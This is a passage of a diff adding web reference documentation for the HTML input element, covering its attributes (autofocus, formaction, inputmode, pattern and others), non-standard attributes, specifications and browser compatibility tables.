+ </dd>
+ <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This Boolean attribute lets you specify that a form control should have input focus when the page loads, unless the user overrides it (e.g. by typing in a different control). Only one form element in a document can have the <strong>autofocus</strong> attribute, which is a Boolean. It cannot be applied if the <strong>type</strong> attribute is set to <code>hidden</code> (that is, you cannot automatically set focus to a hidden control). Note that the focusing of the control may occur before the firing of the <a href="/en-US/docs/Web/Events/DOMContentLoaded"><code>DOMContentLoaded</code> event.</a></dd>
+ <dt>{{htmlattrdef("capture")}}</dt>
+ <dd>
+ <p>When the value of the <strong>type</strong> attribute is <code>file</code>, the presence of this Boolean attribute indicates that capture of media directly from the device's environment using a <a href="https://www.w3.org/TR/html-media-capture/#dfn-media-capture-mechanism">media capture mechanism</a> is preferred.</p>
+ </dd>
+ <dt>{{htmlattrdef("checked")}}</dt>
+ <dd>
+ <p>When the value of the <strong>type</strong> attribute is <code>radio</code> or <code>checkbox</code>, the presence of this Boolean attribute indicates that the control is selected by default, otherwise it is ignored.</p>
+
+ <p>Unlike other browsers, Firefox will by default <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic checked state</a> of an <code>&lt;input&gt;</code> across page loads. Use the {{htmlattrxref("autocomplete","input")}} attribute to control this feature.</p>
+ </dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>This Boolean attribute indicates that the form control is not available for interaction. In particular, the <code>click</code> event <a class="external" href="https://html.spec.whatwg.org/multipage/forms.html#enabling-and-disabling-form-controls:-the-disabled-attribute">will not be dispatched</a> on disabled controls. Also, a disabled control's value isn't submitted with the form.</p>
+
+ <p>Unlike other browsers, Firefox will by default <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of an <code>&lt;input&gt;</code> across page loads. Use the {{htmlattrxref("autocomplete","input")}} attribute to control this feature.</p>
+ </dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The form element that the input element is associated with (its <em>form owner</em>). The value of the attribute must be an <strong>id</strong> of a {{HTMLElement("form")}} element in the same document. If this attribute is not specified, this <code>&lt;input&gt;</code> element must be a descendant of a {{HTMLElement("form")}} element. This attribute enables you to place <code>&lt;input&gt;</code> elements anywhere within a document, not just as descendants of their form elements. An input can only be associated with one form.</dd>
+ <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The URI of a program that processes the information submitted by the input element, if it is a submit button or image. If specified, it overrides the {{htmlattrxref("action","form")}} attribute of the element's form owner.</dd>
+ <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this attribute specifies the type of content that is used to submit the form to the server. Possible values are:
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code>: The default value if the attribute is not specified.</li>
+  <li><code>multipart/form-data</code>: Use this value if you are using an <code>&lt;input&gt;</code> element with the {{htmlattrxref("type","input")}} attribute set to <code>file</code>.</li>
+  <li><code>text/plain</code></li>
+ </ul>
+
+ <p>If this attribute is specified, it overrides the {{htmlattrxref("enctype","form")}} attribute of the element's form owner.</p>
+ </dd>
+ <dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this attribute specifies the HTTP method that the browser uses to submit the form. Possible values are:
+ <ul>
+  <li><code>post</code>: The data from the form is included in the body of the form and is sent to the server.</li>
+  <li><code>get</code>: The data from the form are appended to the <strong>form</strong> attribute URI, with a '?' as a separator, and the resulting URI is sent to the server. Use this method when the form has no side-effects and contains only ASCII characters.</li>
+ </ul>
+
+ <p>If specified, this attribute overrides the {{htmlattrxref("method","form")}} attribute of the element's form owner.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this Boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the {{htmlattrxref("novalidate","form")}} attribute of the element's form owner.</dd>
+ <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the input element is a submit button or image, this attribute is a name or keyword indicating where to display the response that is received after submitting the form. This is a name of, or keyword for, a <em>browsing context</em> (e.g. tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the elements's form owner. The following keywords have special meanings:
+ <ul>
+  <li>_<code>self</code>: Load the response into the same browsing context as the current one. This value is the default if the attribute is not specified.</li>
+  <li><code>_blank</code>: Load the response into a new unnamed browsing context.</li>
+  <li><code>_parent</code>: Load the response into the parent browsing context of the current one. If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+  <li><code>_top</code>: Load the response into the top-level browsing context (i.e. the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("height")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute defines the height of the image displayed for the button.</dd>
+ <dt>{{htmlattrdef("inputmode")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>A hint to the browser for which keyboard to display. This attribute applies when the value of the <strong>type</strong> attribute is text, password, email, or url. Possible values are:
+ <ul>
+  <li><code>verbatim</code>: Alphanumeric, non-prose content such as usernames and passwords.</li>
+  <li><code>latin</code>: Latin-script input in the user's preferred language with typing aids such as text prediction enabled. For human-to-computer communication such as search boxes.</li>
+  <li><code>latin-name</code>: As <em>latin</em>, but for human names.</li>
+  <li><code>latin-prose</code>: As <em>latin</em>, but with more aggressive typing aids. For human-to-human communication such as instant messaging or email.</li>
+  <li><code>full-width-latin</code>: As <em>latin-prose</em>, but for the user's secondary languages.</li>
+  <li><code>kana</code>: Kana or romaji input, typically hiragana input, using full-width characters, with support for converting to kanji. Intended for Japanese text input.</li>
+  <li><code>katakana</code>: Katakana input, using full-width characters, with support for converting to kanji. Intended for Japanese text input.</li>
+  <li><code>numeric</code>: Numeric input, including keys for the digits 0 to 9, the user's preferred thousands separator character, and the character for indicating negative numbers. Intended for numeric codes (e.g. credit card numbers). For actual numbers, prefer using &lt;input type="number"&gt;</li>
+  <li><code>tel</code>: Telephone input, including asterisk and pound key. Use &lt;input type="tel"&gt; if possible instead.</li>
+  <li><code>email</code>: Email input. Use &lt;input type="email"&gt; if possible instead.</li>
+  <li><code>url</code>: URL input. Use &lt;input type="url"&gt; if possible instead.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("list")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Identifies a list of pre-defined options to suggest to the user. The value must be the <strong>id</strong> of a {{HTMLElement("datalist")}} element in the same document. The browser displays only options that are valid values for this input element. This attribute is ignored when the <strong>type</strong> attribute's value is <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type.</dd>
+ <dt>{{htmlattrdef("max")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The maximum (numeric or date-time) value for this item, which must not be less than its minimum (<strong>min</strong> attribute) value.</dd>
+ <dt>{{htmlattrdef("maxlength")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>text</code>, <code>email</code>,<code> search</code>, <code>password</code>, <code>tel</code>, or <code>url</code>, this attribute specifies the maximum number of characters (in UTF-16 code units) that the user can enter. For other control types, it is ignored. It can exceed the value of the <strong>size</strong> attribute. If it is not specified, the user can enter an unlimited number of characters. Specifying a negative number results in the default behavior (i.e. the user can enter an unlimited number of characters). The constraint is evaluated only when the value of the attribute has been changed.</dd>
+ <dt>{{htmlattrdef("min")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The minimum (numeric or date-time) value for this item, which must not be greater than its maximum (<strong>max</strong> attribute) value.</dd>
+ <dt>{{htmlattrdef("minlength")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>text</code>, <code>email</code>,<code> search</code>, <code>password</code>, <code>tel</code>, or <code>url</code>, this attribute specifies the minimum number of characters (in Unicode code points) that the user can enter. For other control types, it is ignored.</dd>
+ <dt>{{htmlattrdef("multiple")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This Boolean attribute indicates whether the user can enter more than one value. This attribute applies when the <strong>type</strong> attribute is set to <code>email</code> or <code>file</code>, otherwise it is ignored.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>The name of the control, which is submitted with the form data.</dd>
+ <dt>{{htmlattrdef("pattern")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>A regular expression that the control's value is checked against. The pattern must match the entire value, not just some subset. Use the <strong>title</strong> attribute to describe the pattern to help the user. This attribute applies when the value of the <strong>type</strong> attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code>, <code>email</code>, or <code>password</code>, otherwise it is ignored. The regular expression language is the same as JavaScript {{jsxref("RegExp")}} algorithm, with the <code>'u'</code> parameter that makes it treat the pattern as a sequence of unicode code points. The pattern is not surrounded by forward slashes.</dd>
+ <dt>{{htmlattrdef("placeholder")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>A hint to the user of what can be entered in the control . The placeholder text must not contain carriage returns or line-feeds.
+ <div class="note"><strong>Note:</strong> Do not use the <code>placeholder</code> attribute instead of a {{HTMLElement("label")}} element, their purposes are different. The {{HTMLElement("label")}} attribute describes the role of the form element (i.e. it indicates what kind of information is expected), and the <code>placeholder</code> attribute is a hint about the format that the content should take. There are cases in which the <code>placeholder</code> attribute is never displayed to the user, so the form must be understandable without it.</div>
+ </dd>
+ <dt>{{htmlattrdef("readonly")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute indicates that the user cannot modify the value of the control. The value of the attribute is irrelevant. If you need read-write access to the input value, <em>do not</em> add the "<strong>readonly</strong>" attribute. It is ignored if the value of the <strong>type</strong> attribute is <code>hidden</code>, <code>range</code>, <code>color</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type (such as <code>button</code> or <code>submit</code>).</dd>
+ <dt>{{htmlattrdef("required")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute specifies that the user must fill in a value before submitting a form. It cannot be used when the <strong>type</strong> attribute is <code>hidden</code>, <code>image</code>, or a button type (<code>submit</code>, <code>reset</code>, or <code>button</code>). The {{cssxref(":optional")}} and {{cssxref(":required")}} CSS pseudo-classes will be applied to the field as appropriate.</dd>
+ <dt>{{htmlattrdef("selectionDirection")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>The direction in which selection occurred. This is <code>"forward"</code> if the selection was made from left-to-right in an LTR locale or right-to-left in an RTL locale, or <code>"backward"</code> if the selection was made in the opposite direction. On platforms on which it's possible this value isn't known, the value can be <code>"none"</code>; for example, on macOS, the default direction is <code>"none"</code>, then as the user begins to modify the selection using the keyboard, this will change to reflect the direction in which the selection is expanding.</dd>
+ <dt>{{htmlattrdef("selectionEnd")}}</dt>
+ <dd>The offset into the element's text content of the last selected character. If there's no selection, this value indicates the offset to the character following the current text input cursor position (that is, the position the next character typed would occupy).</dd>
+ <dt>{{htmlattrdef("selectionStart")}}</dt>
+ <dd>The offset into the element's text content of the first selected character. If there's no selection, this value indicates the offset to the character following the current text input cursor position (that is, the position the next character typed would occupy).</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>The initial size of the control. This value is in pixels unless the value of the <strong>type</strong> attribute is <code>text</code> or <code>password</code>, in which case it is an integer number of characters. Starting in HTML5, this attribute applies only when the <strong>type</strong> attribute is set to <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code>, <code>email</code>, or <code>password</code>, otherwise it is ignored. In addition, the size must be greater than zero. If you do not specify a size, a default value of 20 is used. HTML5 simply states "the user agent should ensure that at least that many characters are visible", but different characters can have different widths in certain fonts. In some browsers, a certain string with <em>x</em> characters will not be entirely visible even if size is defined to at least <em>x</em>.</dd>
+ <dt>{{htmlattrdef("spellcheck")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Setting the value of this attribute to <code>true</code> indicates that the element needs to have its spelling and grammar checked. The value <code>default</code> indicates that the element is to act according to a default behavior, possibly based on the parent element's own <code>spellcheck</code> value. The value <code>false</code> indicates that the element should not be checked.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute specifies a URI for the location of an image to display on the graphical submit button, otherwise it is ignored.</dd>
+ <dt>{{htmlattrdef("step")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Works with the <strong>min</strong> and <strong>max</strong> attributes to limit the increments at which a numeric or date-time value can be set. It can be the string <code>any</code> or a positive floating point number. If this attribute is not set to <code>any</code>, the control accepts only values at multiples of the step value greater than the minimum.</dd>
+ <dt>{{htmlattrdef("tabindex")}} element-specific in {{HTMLVersionInline(4)}}, global in {{HTMLVersionInline("5")}}</dt>
+ <dd>The position of the element in the tabbing navigation order for the current document.</dd>
+ <dt>{{htmlattrdef("usemap")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt>
+ <dd>The name of a {{HTMLElement("map")}} element to be used as an image map.</dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>The initial value of the control. This attribute is optional except when the value of the <strong>type</strong> attribute is <code>radio</code> or <code>checkbox</code>.<br>
+ Note that when reloading the page, Gecko and IE <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=46845#c186">will ignore the value specified in the HTML source</a>, if the value was changed before the reload.</dd>
+ <dt>{{htmlattrdef("width")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute defines the width of the image displayed for the button.</dd>
+</dl>
+
+<h3 id="Non-standard_&lt;input>_attributes">Non-standard <code>&lt;input&gt;</code> attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt>
+ <dd>This is a nonstandard attribute used <a href="https://developers.google.com/web/updates/2015/04/autocapitalize">by Chrome</a> and iOS Safari Mobile, which controls whether and how the text value should be automatically capitalized as it is entered/edited by the user. The non-deprecated values are available in iOS 5 and later. Possible values are:
+ <ul>
+  <li><code>none</code>: Completely disables automatic capitalisation.</li>
+  <li><code>sentences</code>: Automatically capitalise the first letter of sentences.</li>
+  <li><code>words</code>: Automatically capitalise the first letter of words.</li>
+  <li><code>characters</code>: Automatically capitalise all characters.</li>
+  <li><code>on</code>: {{deprecated_inline}} Deprecated since iOS 5.</li>
+  <li><code>off</code>: {{deprecated_inline}} Deprecated since iOS 5.</li>
+ </ul>
+ <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariHTMLRef/Articles/Attributes.html#//apple_ref/doc/uid/TP40008058-autocapitalize"><code>autocapitalize</code> documentation</a> in the Safari HTML Reference.</dd>
+ <dt>{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</dt>
+ <dd>This is a non-standard attribute supported by Safari that is used to control whether autocorrection should be enabled when the user is entering/editing the text value of the <code>&lt;input&gt;</code>. Possible attribute values are:
+ <ul>
+  <li><code>on</code>: Enable autocorrection.</li>
+  <li><code>off</code>: Disable autocorrection.</li>
+ </ul>
+ <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariHTMLRef/Articles/Attributes.html#//apple_ref/doc/uid/TP40008058-autocorrect"><code>autocorrect</code> documentation</a> in the Safari HTML Reference.</dd>
+ <dt>{{htmlattrdef("incremental")}} {{non-standard_inline}}</dt>
+ <dd>This is a nonstandard attribute supported by WebKit (Safari) and Blink (Chrome) that only applies when the <strong>type</strong> is <code>search</code>. If the attribute is present, regardless of what its value is, the <code>&lt;input&gt;</code> fires <a href="/en-US/docs/Web/Events/search"><code>search</code></a> events as the user edits the text value. The event is only fired after an implementation-defined timeout has elapsed since the most recent keystroke, and new keystrokes reset the timeout. In other words, the event firing is debounced. If the attribute is absent, the <a href="/en-US/docs/Web/Events/search"><code>search</code></a> event is only fired when the user explicitly initiates a search (e.g. by pressing the Enter key while within field). <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariHTMLRef/Articles/Attributes.html#//apple_ref/doc/uid/TP40008058-incremental"><code>incremental</code> documentation in the Safari HTML Reference</a></dd>
+ <dt>{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</dt>
+ <dd>Specifies an "action hint" used to determine how to label the enter key on mobile devices with virtual keyboards. Supported values are <code>go</code>, <code>done</code>, <code>next</code>, <code>search</code>, and <code>send</code>. These automatically get mapped to the appropriate string and are case-insensitive.</dd>
+ <dt>{{htmlattrdef("results")}} {{non-standard_inline}}</dt>
+ <dd>This is a nonstandard attribute supported by Safari that only applies when the <strong>type</strong> is <code>search</code>. It is used to control the maximum number of entries that should be displayed in the <code>&lt;input&gt;</code>'s native dropdown list of past search queries. Its value should be a nonnegative decimal integer.</dd>
+ <dt>{{htmlattrdef("webkitdirectory")}} {{non-standard_inline}}</dt>
+ <dd>This Boolean attribute indicates if the selector used when the <strong>type</strong> attribute is <code>file</code> has to allow for the selection of directories only.</dd>
+ <dt>{{htmlattrdef("x-moz-errormessage")}} {{non-standard_inline}}</dt>
+ <dd>This Mozilla extension allows you to specify the error message to display when a field doesn't successfully validate.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>You can find multiple examples of <code>&lt;input&gt;</code> element usage on the pages covering each individual type — see {{anch("Form &lt;input&gt; types")}}, and also see the {{anch("Live example")}} at the top of the article.</p>
+
+<ul>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Media Capture', '#the-capture-attribute','&lt;input capture&gt;')}}</td>
+   <td>{{Spec2('HTML Media Capture')}}</td>
+   <td>Adds the <code>capture</code> element</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>type="color"</code></td>
+   <td>21.0</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.01</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>type="email"</code>, <code>type="number"</code>, <code>type="range"</code>, <code>type="search"</code>, <code>type="tel"</code>, <code>type="url"</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>type="datetime-local"</code>, <code>type="month"</code>, <code>type="week"</code></td>
+   <td>20</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>type="date"</code>, <code>type="time"</code></td>
+   <td>20</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>type="datetime"</code></td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+   <td>{{CompatNo}}[5]</td>
+   <td>{{CompatNo}}[5]</td>
+   <td>{{CompatNo}}[5]</td>
+  </tr>
+  <tr>
+   <td><code>accept</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozactionhint</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>autocapitalize</code></td>
+   <td>43</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup> [4]</sup></td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code>, <code>max</code>, <code>min</code>, <code>pattern</code>, <code>placeholder</code>, <code>required</code>, <code>step</code>, <code>list</code>, <code>multiple</code></td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>9.6</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>capture</td>
+   <td>Chrome for Android (0.16)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://html.spec.whatwg.org/multipage/forms.html#fakepath-srsly">fakepath</a> added to file input values</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("53")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>form</code>, <code>formaction</code>, <code>formenctype</code>, <code>formmethod</code>, <code>formnovalidate</code>, <code>formtarget</code></td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>incremental</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>inputmode</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>minlength</code></td>
+   <td>40.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>readonly</code></td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>6<sup>[3] </sup></td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>spellcheck</code></td>
+   <td>10.0</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>10</td>
+   <td>11.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td><code>webkitdirectory</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("49.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>type="color"</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("27.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>type="email"</code>, <code>type="number"</code>, <code>type="range"</code>, <code>type="search"</code>, <code>type="tel"</code>, <code>type="url"</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>type="date"</code>, <code>type="datetime-local"</code>, <code>type="month"</code>, <code>type="time"</code>, <code>type="week'</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>type="datetime"</code></td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+  </tr>
+  <tr>
+   <td><code>accept</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>autocapitalize</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[4]</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code>, <code>max</code>, <code>min</code>, <code>pattern</code>, <code>placeholder</code>, <code>required</code>, <code>step</code>, <code>list</code>, <code>multiple</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>capture</code></td>
+   <td>3.0</td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>6.0</td>
+  </tr>
+  <tr>
+   <td><a href="https://html.spec.whatwg.org/multipage/forms.html#fakepath-srsly">fakepath</a> added to file input values</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("53")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>form</code>, <code>formaction</code>, <code>formenctype</code>, <code>formmethod</code>, <code>formnovalidate</code>, <code>formtarget</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>minlength</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>27.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>spellcheck</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>webkitdirectory</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("49.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature is implemented behind the preference <code>dom.forms.datetime</code> since Gecko 51 {{geckoRelease(51)}}, defaulting to <code>false</code>. Since Gecko 55 it is enabled by default on Firefox Nightly (see {{bug(1366188)}}). See also {{bug("888320")}} and <a href="https://wiki.mozilla.org/TPE_DOM/Date_time_input_types">TPE DOM/Date time input types</a>.</p>
+
+<p>[2] It is recognized but there is no UI.</p>
+
+<p>[3] Missing for <code>type="checkbox"</code> and <code>type="radio"</code>.</p>
+
